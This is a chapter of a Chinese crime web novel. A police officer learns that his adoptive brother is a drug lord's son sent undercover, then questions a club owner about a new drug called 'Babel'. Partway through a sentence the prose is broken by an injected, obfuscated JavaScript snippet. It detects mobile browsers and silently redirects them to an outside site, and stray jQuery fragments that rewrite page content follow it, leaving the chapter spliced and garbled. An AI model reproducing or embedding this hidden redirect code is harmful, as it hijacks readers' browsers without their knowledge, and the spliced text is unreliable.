良久,聂毅平轻轻叹了口气。
他想起老桑的好来,想起过去这些年他帮老桑照顾他留下的这对兄弟,想起他看到桑适南一路成长到现在,看到奚也从鬼门关回来身体慢慢康复,心底那骄傲之情不亚于看到自己亲儿子有了出息。
“你猜得不错。”聂毅平终于开口,“奚也……其实是你爸安插进三邦谷的线人。所谓研究棉语只是个幌子,他真正的任务,是摸清毒贩的制毒基地,方便警方一举打击。”
桑适南脑子嗡嗡直响:“这么危险的任务,为什么不让专业的警察来做?”
“这就是问题所在,”聂毅平缓缓说,“没有人比奚也更适合……你知道,你爸当初是怎么收养他的么?”
桑适南心跳陡然加快,胸口鼓噪得几乎要炸开。
聂毅平自问自答道:“坤貌,听过这个名字没有?上世纪90年代,他是棉勃最大的毒王。而奚也,就是他的长子。”
“当年坤貌刚在棉勃站稳脚跟,棉滇军方不可能承认他在棉勃的正当性,于是,坤貌就想到去争取中国政府的支持。为了实现这个目的,他决定斩断制毒贩毒的生意,转向正规的木材、玉石生意,从一个制毒贩毒的大毒枭,变成了禁毒销毒的领头人物。”聂毅平冷冷道,“可你也知道,在那片土地上,毒品是当地人的重要生计来源,棉勃那一带几乎全靠毒品为生。坤貌断人财路,如同杀人父母。于是,无数利益受损的小毒贩和分销商,便决定联合起来报复坤貌。”
桑适南皱眉:“所以……他们下手的目标,就是奚也?”
聂毅平点头:“那时候奚也才七岁。在他生日那天被绑走,用来威胁坤貌叫停禁毒行动。偏偏碰上你爸执行任务,把奚也救了下来。这孩子身世特殊,救下来了,总不能送回毒枭身边吧?正好那会你爸刚跟你妈离婚不久,就主动申请,把他给收养了,这一养就是二十年。再后来的事你也知道了,奚也作为特情线人,以研究棉语为借口去了三邦谷做卧底。只是谁都没想到,让他去做线人的代价,会这么大。”
桑适南喃喃:“让奚也回到他亲生父亲身边做卧底?你们怎么敢……”
聂毅平笑容苦涩:“赌呗。”
他轻声说:“没赌赢,但也不算输。”
屋外骤然狂风大作,暴雨噼里啪啦急匆匆砸下。
黑云漫顶,一瞬间吞没整个江州。
夏末秋初的空气里透出丝丝凉意,奚也裹毯坐在窗边,打量着面前贴着无数资料照片的白板墙。
他抬手取下一张资料,上面是关于巴别塔毒品包装的照片。
“想要建成巴别塔吗……”
他眼含讥诮。
那也要看上帝,答不答应。
啪一声照片被随手掷进垃圾桶,光洁的相纸映出窗外那片压顶的乌云,席卷着将那座土黄高塔吞噬。
****
“唐宴一案的线索断在了梭钦身上。既然如此,那我们就换个思路,从毒品交易的另一方入手。”桑适南抱着一摞案件资料大步迈进办公室,回头问陆骁,“唐宴会所的老板传唤过来了吗?”
陆骁回:“已经扣押快24小时了,还是说什么都不知道,要先放走他吗?”
桑适南说:“放什么放?有会所成员在你的地盘上交易贩毒,你作为老板,能不知情?他这样说才叫有鬼,继续审。”
审讯室里,会所陈老板双肘支着桌面,手腕上金光闪闪的百达翡丽表亮瞎了对面问讯警察的狗眼。
“警察同志,我就是个老实本分的生意人。”他语气不急不缓,“容留贩毒的罪名不小,我担不起,你们可不要随意冤枉了我。”
“这个家伙,老油条了。”陆骁隔着单向玻璃,手指点了点,“问他什么,要么回‘身体不舒服’,要么说‘记不清’,再就是干脆拒不开口来对抗审讯。把避重就轻、百般抵赖那一套,玩得炉火纯青。”
桑适南冷笑:“他也知道警方没证据,定不了他的罪。”
“那怎么办?撬不开他的嘴,这案子一筹莫展。”陆骁说,“要不这样,我们就骗他,跟他说什么交易、什么毒品啊,都是假的,坦白招供后果没那么严重?”
桑适南微微一笑:“听说过隔壁省二十年前有个案子吗,报案人在公厕发现一具被奸杀的女尸。当时警方没找到任何别的线索,所有证据都指向报案人,于是认定报案人就是凶手。”
“然后呢?”陆骁竖起耳朵。
“然后报案人拒不认罪,警方为了减轻他招供的心理负担,就谎称被害人还活着。正好当时报案人尿急,想着既然被害人没死,那只要等她醒来后当面指认一下,不就能证明他的清白了吗?就这样答应做了有罪供述。结果就是,两个月后,报案人被执行死刑。直到九年后真凶落网,才还了报案人清白……”
没等桑适南讲完,陆骁已经提前做好被打的预判抱头鼠窜:“……桑哥桑哥,我错了,我发誓再也不诱骗审讯了!”
桑适南起身指指陆骁,恨铁不成钢:“真想把你丢回团河回炉重造再读一遍公大,我看隔壁部门的警犬都比你聪明!”
说罢扭头离开,顶着一张权威的臭脸推门进入审讯室,招手让原本负责审讯的同事退下。
陈老板见到桑适南愣了一下,随后笑了:“你是赵大银行家的公子?久仰久仰。没想到第一次正式见面,会是在这种地方。”
桑适南眉头一皱,手指在审讯桌上“咚咚”敲了两下:“这里没有什么银行家的公子,只有人民警察,麻烦端正你的态度。”
他在陈老板对面坐下,把前面的审讯记录仔细翻了一遍。
“怎么说?”桑适南瞟一眼陈老板,“是觉得咱们这儿的审讯,是坦白从宽牢底坐穿、抗拒从严回家过年?”
陈老板挑了下眉,不接话。
桑适南一脸淡定地放下审讯记录:“回去告诉你那些坐牢经验丰富的狐朋狗友,这招过时了。”
陈老板闻言微微一怔。
桑适南直视他的眼睛:“现在公检法三家都看重物证,就算你不开口,等我们找到相关物证,证据链齐全依然可以提起公诉。而且,即便你主动招认了罪行,警方也未必会信。万一你替人顶罪,我办了冤假错案将来还要被追责。你以为你什么都不说,警方就拿你没办法了?你好好想想,好好想。”
陈老板神色一僵,脸上浮现一丝犹豫。
桑适南看在眼里,忽然话锋一转:“在审讯室里坐了挺久了吧?饿不饿,想不想吃点什么?”
陈老板喉结动了动,肚子不争气地“咕噜”响了两声。他迟疑片刻,终于开口:“我想……吃碗牛肉面。就是大门对面那家小馆子的。我刚进来的时候看了一眼,现在满脑子都是那个。”
桑适南冲着外头的玻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345598|183511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
璃窗摆了摆手。
不多时,陆骁端着一份热气腾腾的牛肉面走进来。陈老板是真饿了,狼吞虎咽几口就见了底。
他舔了舔嘴唇,终于松口:“桑警官,我跟你实话实说吧。确实有人联系过我,要借我的场子贩毒。”
桑适南一顿:“贩的什么毒?”
“那种毒品……很不一样。”陈老板哪怕只是回忆一下,都忍不住咋舌,“我在这一行混这么多年,来来往往的客人非富即贵,消息自然就比外面灵通。有次我无意中听说,市面上有一种新型毒品,叫‘巴别塔’,利润惊人。我本来没打算碰,那玩意儿哪是普通人能有门路的?可偏偏有人主动联系我,说他有货,不贵,量也不大。只要我答应在会所里放人交易,就能分我一半抽成。”
“你还真答应了?”桑适南冷声说,“容留贩毒的罪名你心里没数?”
陈老板耸耸肩:“警察同志,我喜欢钱呀。你知道那种毒品100g能卖多少钱吗?500万!光我那个酒吧,一年的流水都没这么多,还没刨除成本。贩毒却是一本万利,换谁不眼红?”
“眼红?等你进了监狱,你就该眼红别人有自由,而你没有了。”
陈老板低下头,没再吭声。
桑适南又问:“那个人手上现在一共有多少?”
陈老板老实竖起一根手指:“1公斤。”
1公斤,就是5千万。
陈老板有些委屈地说:“但我也没赚到钱啊!这批货太新了,知道的人不多,合作以来拢共就卖出去几克,不知道的不会来买,就算知道,又不知因为什么不敢买,我也怀疑过这批毒品来路不对。而且跟我合作的那个人吧,一开始很着急要在我这儿卖货,后面突然态度就冷淡了,加上会所酒吧卖得不好,事情就慢慢搁下了。好不容易有天对方联系我,说来了个大单子,傍晚六点过来交易,那不也是被你们警察发现了吗?会所都差点被炸了。”
“跟你合作的人,你见过吗?对他了解多少?一五一十说清楚。”
“没有。”陈老板摇头,“每次对方要来会所交易,都只会提前告诉我一个大概时间,从不在我面前露面。声音也处理过,辨不出年龄,甚至男女都听不出来。”
桑适南微微眯眼,若有所思。
“不过对方有个特点,我记得很清楚。”陈老板补充,“每次打电话时,背景里都会传来一种声音……叮叮当当的,清脆得很,有点像风铃。”
“你们后来还有联系吗?”桑适南追问。
“没了,对方每次跟我打电话用的都是虚拟号码,我联系不上对方。那个,警察同志,容留贩毒的事我认了,但沙发下那个炸弹,真跟我没关系!我吃饱了撑的自己砸自己场子吗?”
“没说跟你有关。”桑适南低头抽出一张照片,放到陈老板面前,“我另外有个问题问你,这个人,你认识吗?”
陈老板探身一看,顿时怔住。
那是一张警方在会所排查炸弹、疏散人群时拍下的照片。
画面中央,一个年轻男人静静站在警车旁。他身后是流光溢彩的会所霓虹,他整个人却像是画布上突兀的一块黑白画,与周围完全格格不入。
“这不是……”陈老板讶然,“我们会所新加入的会员吗?姓沈的那个。”
“你说他姓什么?”桑适南猛地抬头,死死盯住陈老板眼睛。